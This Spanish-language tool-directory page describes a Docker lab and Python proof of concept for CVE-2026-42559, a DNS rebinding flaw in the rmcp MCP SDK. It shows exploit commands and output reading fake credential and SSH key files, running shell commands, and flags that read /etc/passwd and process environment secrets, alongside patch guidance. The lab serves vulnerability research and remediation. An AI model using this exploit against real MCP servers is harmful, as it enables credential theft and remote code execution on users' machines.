Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
EXPLOIT-CVE-2026-42559 — Laboratorio Docker + PoC en Python para CVE-2026-42559 - rebinding de DNS mediante cabecera Host no validada en el transporte del servidor HTTP Streamable de rmcp (Rust MCP SDK) | Kitploit
Herramientas/GitHubGitHub/joaovicdev/exploit-cve-2026-42559
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónLabs y Práctica
GitHubjoaovicdev/exploit-cve-2026-42559

EXPLOIT-CVE-2026-42559

Laboratorio Docker + PoC en Python para CVE-2026-42559 - rebinding de DNS mediante cabecera Host no validada en el transporte del servidor HTTP Streamable de rmcp (Rust MCP SDK)

Ver Repositorio
10hace 21 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-42559 — Rebind de DNS en el transporte de servidor HTTP Streamable de rmcp

Un laboratorio Docker autónomo y una prueba de concepto en Python para CVE-2026-42559 (GHSA-89vp-x53w-74fx / RUSTSEC-2026-0189).

Afectadormcp — el SDK oficial de Rust para el Model Context Protocol — < 1.4.0
Corregido en1.4.0 (2026-04-10)
CWECWE-346 (Error de validación de origen), CWE-350
CVSS 3.18.8 Alta — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

El fallo

El transporte de servidor HTTP Streamable en rmcp < 1.4.0 nunca inspeccionaba la cabecera Host entrante. Los servidores MCP suelen estar vinculados a loopback y están protegidos únicamente por la política de mismo origen del navegador — que el rebind de DNS anula:

  1. La víctima visita http://evil.example, servido con un TTL de DNS de 1 segundo.
  2. La página espera a que el registro se vuelva a resolver. El DNS del atacante ahora responde evil.example → 127.0.0.1.
  3. La página llama a fetch("http://evil.example:8000/mcp", …). La petición llega al servidor MCP local de la víctima, pero el navegador sigue tratándola como mismo origen — sin preflight CORS, y el JavaScript puede leer cada respuesta.

Lo único que separa esa petición de una legítima es la cabecera Host: evil.example:8000 en lugar de 127.0.0.1:8000. Sin validación, la página del atacante obtiene una sesión MCP completa y puede enumerar y llamar a cada herramienta que el servidor expone — lecturas de archivos, escrituras, ejecución de shell, lo que sea que el asistente estuviera configurado para hacer.

1.4.0 añadió StreamableHttpServerConfig::allowed_hosts, con valor predeterminado ["localhost", "127.0.0.1", "::1"], y una compuerta validate_dns_rebinding_headers() al inicio del manejador de peticiones que responde 403 Forbidden en caso contrario.

Estructura

root@kitploit:~
.
├── docker-compose.yml       # dos servicios, mismo código fuente, diferente versión de rmcp
├── mcp-server/              # un servidor MCP realista de "asistente de desarrollador"
│   ├── Cargo.toml
│   ├── Dockerfile           # el argumento de compilación RMCP_VERSION fija la versión de la crate
│   └── src/main.rs
└── exploit/
    └── exploit.py           # PoC, Python 3.9+, sin dependencias

Ambos contenedores compilan el mismo src/main.rs con la misma configuración de servidor. La única diferencia es la versión fijada de la crate, por lo que el cambio de comportamiento proviene enteramente de la librería:

ServicioPuertormcpResultado esperado
vulnerable127.0.0.1:80001.3.0Host falsificado aceptado → compromiso total
patched127.0.0.1:80011.4.0Host falsificado → 403 Forbidden

El servidor expone whoami, read_file y run_command, y la imagen está sembrada con credenciales falsas en /home/dev/project/.env y /home/dev/.ssh/id_ed25519 para que el exploit tenga algo que robar.

Ejecución

root@kitploit:~
docker compose up -d --build

Explota la compilación vulnerable:

root@kitploit:~
python3 exploit/exploit.py --target 127.0.0.1:8000
root@kitploit:~
CVE-2026-42559 :: rmcp Streamable HTTP -- la cabecera Host no está validada
    target       http://127.0.0.1:8000/mcp
    Host legítimo   127.0.0.1:8000
    Host rebind  mcp-rebind.attacker.example:8000

[*] paso 0: handshake de referencia con la cabecera Host legítima
[+] 200 OK -- el servidor está activo: rmcp 1.3.0

[*] paso 1: reproduciendo la petición posterior al rebind (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- la cabecera Host falsificada fue aceptada: VULNERABLE a CVE-2026-42559
[+] sesión abierta desde un origen externo: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57

[*] paso 2: enumerando las herramientas ahora expuestas a la página del atacante
        - read_file    Lee un archivo de la estación de trabajo
        - run_command  Ejecuta un comando de shell en la estación de trabajo
        - whoami       Describe la estación de trabajo en la que se ejecuta este asistente

[*] paso 3: invocando herramientas como si la página del atacante fuera un cliente MCP local
    tools/call whoami
        | user=unknown host=35b31d892a7a pid=1
    tools/call read_file path=/home/dev/project/.env
        | STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
        | DATABASE_URL=postgres://app:[email protected]:5432/app
    tools/call read_file path=/home/dev/.ssh/id_ed25519
        | -----BEGIN OPENSSH PRIVATE KEY-----
        | FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
        | -----END OPENSSH PRIVATE KEY-----
    tools/call run_command command='id; uname -a'
        | uid=1000(dev) gid=1000(dev) groups=1000(dev)
        | Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux

[!] lectura arbitraria y ejecución de comandos en el host de la víctima, desde una página web

Luego la compilación parcheada, para confirmar la corrección:

root@kitploit:~
python3 exploit/exploit.py --target 127.0.0.1:8001
root@kitploit:~
[*] paso 0: handshake de referencia con la cabecera Host legítima
[+] 200 OK -- el servidor está activo: rmcp 1.4.0

[*] paso 1: reproduciendo la petición posterior al rebind (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Prohibido: la cabecera Host no está permitida
[+] NO VULNERABLE: esta compilación valida la cabecera Host (rmcp >= 1.4.0)

El código de salida es 1 cuando el objetivo es vulnerable y 0 cuando no lo es, por lo que el script se integra directamente en CI.

Banderas útiles:

root@kitploit:~
python3 exploit/exploit.py \
  --target 127.0.0.1:8000 \
  --rebind-host wallet.attacker.example \
  --loot /etc/passwd \
  --command 'cat /proc/self/environ | tr "\0" "\n"'

Detén el laboratorio con docker compose down.

Por qué la PoC falsifica la cabecera en lugar de ejecutar un servidor DNS

El exploit abre una conexión TCP al objetivo y escribe una cabecera Host controlada por el atacante (http.client.putrequest(..., skip_host=True)). Esa es, byte por byte, la petición que emite un navegador con rebind — el rebind de DNS es solo el mecanismo que hace que un navegador envíe un Host externo a un socket de loopback. Reproducirlo de esta manera mantiene el laboratorio en dos contenedores y sin infraestructura de DNS, mientras se prueba exactamente la ruta de código sobre la que trata el CVE.

Cómo corregirlo en tu propio servidor

root@kitploit:~
// 1. Actualiza.
//    rmcp = "1.4"   (o posterior)

// 2. Solo loopback es el valor predeterminado desde 1.4.0 en adelante — no hay nada que hacer
//    para un servidor vinculado localmente.
let config = StreamableHttpServerConfig::default();

// 3. Para un despliegue público genuino, permite explícitamente tus propios nombres.
let config = StreamableHttpServerConfig::default()
    .with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);

Si no puedes actualizar, termina el endpoint MCP detrás de un proxy inverso que rechace valores Host desconocidos, y no vincules el servidor a 0.0.0.0 sin uno. disable_allowed_hosts() existe pero reintroduce exactamente este fallo.

Referencias

  • GHSA-89vp-x53w-74fx
  • NVD — CVE-2026-42559
  • Red Hat — CVE-2026-42559
  • Kodem Security — CVE-2026-42559
  • Especificación MCP — Seguridad del transporte

Aviso legal

Todo lo que hay aquí es intencionalmente vulnerable y existe con fines de investigación y educación. Los contenedores exponen una herramienta de ejecución de shell a propósito — ejecuta el laboratorio solo en una máquina que te pertenezca, y nunca apuntes el exploit a un host que no estés autorizado a probar.

Descargar herramienta